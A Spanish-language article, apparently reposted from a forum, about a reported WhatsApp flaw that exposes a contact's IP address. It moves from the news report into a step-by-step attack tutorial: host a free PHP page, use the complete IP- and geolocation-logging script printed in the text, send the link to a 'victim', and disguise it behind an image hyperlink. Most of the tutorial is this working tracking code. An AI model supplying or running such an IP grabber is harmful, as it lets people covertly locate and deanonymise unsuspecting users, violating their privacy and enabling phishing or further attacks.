Todos debemos haber escuchado sobre el ataque altamente dirigido que llevó a los usuarios del sudeste asiático a utilizar una combinación de piratería de enrutadores Wi-Fi junto con algunas aplicaciones maliciosas. También debes haber visto ejemplos de aplicaciones falsas de WhatsApp que espían los datos del teléfono de un usuario. Ahora, un nuevo error expone la dirección IP de un contacto de WhatsApp.
Un investigador de ciberseguridad, Rahul Kankrale, descubrió un método que puede robar la dirección IP de cualquier persona a través de WhatsApp. Se dice que esto se logra haciendo que las víctimas potenciales hagan clic en un enlace que se envía como un mensaje de WhatsApp. Se dice que el enlace aparece sin ninguna vista previa, a diferencia de los enlaces regulares que se muestran en WhatsApp. El enlace explota la tendencia natural del usuario de hacer clic en cualquier enlace de página ‘misterioso’ recibido.
En una publicación, Kankrale escribe que ‘el código php simple puede revelar la versión de la aplicación y la IP de los usuarios de Whatsapp y guardar la información revelada en el servidor de los atacantes’. ‘Cuando se genera la vista previa del enlace, puede ver cómo se captura la IP y, al mismo tiempo, esta escritura de IP sobre el archivo de registro en el servidor de los atacantes’, agregó.
El informe sugiere además que Kankrale ya había informado a WhatsApp y Facebook, sin embargo, la compañía no respondió positivamente a la situación y dijo que corregir el error requeriría deshabilitar las vistas previas de enlaces, lo que se dice que es útil para los usuarios. Si un usuario quiere evitar caer en la falla recién descubierta, se recomienda que los usuarios desconfíen de los enlaces recibidos en WhatsApp. También se recomienda a los usuarios que no hagan clic en enlaces de dominios extraños o desconocidos, especialmente aquellos que no tienen ninguna vista previa. Un usuario debe prestar atención a la URL incluso si el enlace proviene de una fuente confiable o muestra una vista previa.
Cuando se trata de ataques como estos, podrían usarse para atacar a los usuarios que no son muy conscientes de la naturaleza actual de los ataques cibernéticos. Sin embargo, si las empresas difundieran la conciencia sobre los ciberatacantes que intentan robar datos de los usuarios, el daño se minimizaría. Cabe señalar el hecho de que las direcciones IP comprometidas podrían usarse para estafas de phishing y correo electrónico o también podrían usarse para ataques más serios.
Veamos cual es el proceso que se utiliza para realizar este tipo de ataque.
En primer lugar necesitaríamos tener un servidor para alojar la url de la que nos serviríamos para realizar el ataque.
Una opción gratuita y sencilla sería utilizar un servicio como el que ofrece 000webhost:
El servicio gratuito que nos ofrecen es básico pero más que suficiente para nuestro objetivo:
Seguidamente abriríamos crearíamos un archivo de texto, por ejemplo con el bloc de notas y le cambiaríamos la extensión a php.
Dentro de él escribiríamos el código que podría ser por ejemplo:
<?php
//Llamamos a la función que se encargará de hacerlo todo
write_visita ();
// esta es la función que escribe la IP del cliente en un archivo de texto
function write_visita (){
//Indicar la ruta de archivo válida para escribir el log
$archivo="visitors.log";
//Si se quiere ignorar la propia IP la escribiríamos aquí, esto se podría automatizar
$ip="mi.ip.";
$new_ip=get_client_ip();
if ($new_ip!==$ip){
$now = new DateTime();
//Distinguir el tipo de petición,
if (!$_GET) {
$datos="*POST: ".$_POST;
}
else
{
//Saber a qué URL se accede
$peticion = explode('/', $_GET['PATH_INFO']);
$datos=str_pad($peticion[0],10).' '.$peticion[1];
}
$txt = str_pad($new_ip,25). " ".
str_pad($now->format('Y-m-d H:i:s'),25)." ".
str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);
$myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
}
}
//Obtiene la IP del cliente
function get_client_ip() {
$ipaddress = '';
if (getenv('HTTP_CLIENT_IP'))
$ipaddress = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
$ipaddress = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
$ipaddress = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
$ipaddress = getenv('REMOTE_ADDR');
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
//Obtiene la info de la IP del cliente desde geoplugin
function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
$output = NULL;
if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
$ip = $_SERVER["REMOTE_ADDR"];
if ($deep_detect) {
if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
}
$purpose = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
$support = array("country", "countrycode", "state", "region", "city", "location", "address");
$continents = array(
"AF" => "Africa",
"AN" => "Antarctica",
"AS" => "Asia",
"EU" => "Europe",
"OC" => "Australia (Oceania)",
"NA" => "North America",
"SA" => "South America"
);
if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
$ipdat = @json_decode(file_get_contents("You are not allowed to view links. Register or Login" . $ip));
if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
switch ($purpose) {
case "location":
$output = array(
"city" => @$ipdat->geoplugin_city,
"state" => @$ipdat->geoplugin_regionName,
"country" => @$ipdat->geoplugin_countryName,
"country_code" => @$ipdat->geoplugin_countryCode,
"continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
"continent_code" => @$ipdat->geoplugin_continentCode
);
break;
case "address":
$address = array($ipdat->geoplugin_countryName);
if (@strlen($ipdat->geoplugin_regionName) >= 1)
$address[] = $ipdat->geoplugin_regionName;
if (@strlen($ipdat->geoplugin_city) >= 1)
$address[] = $ipdat->geoplugin_city;
$output = implode(", ", array_reverse($address));
break;
case "city":
$output = @$ipdat->geoplugin_city;
break;
case "state":
$output = @$ipdat->geoplugin_regionName;
break;
case "region":
$output = @$ipdat->geoplugin_regionName;
break;
case "country":
$output = @$ipdat->geoplugin_countryName;
break;
case "countrycode":
$output = @$ipdat->geoplugin_countryCode;
break;
}
}
}
return $output;
}
?>
Una vez que tenemos el archivo php creado lo subiremos al servidor desde nuestro panel de control. Yo lo he llamado whatsapp.php:
Ahora se trata de compartir ese enlace con la víctima, de modo que cada vez que alguien pinche sobre él quedaría registrado en un archivo visitors.log:
donde aparecería la IP de la víctima, y la fecha y hora a la que ha pinchado en el enlace:
Para disimular este enlace lo podemos asociar a una imagen con un hiperenlace de forma que no se vea la url pero que cuando se pinche sobre ella te lleve al archivo php:
Algo tan sencillo de realizar como esto deja expuesta tu dirección IP y demuestra una vez más la inseguridad de utilizar Whatsapp.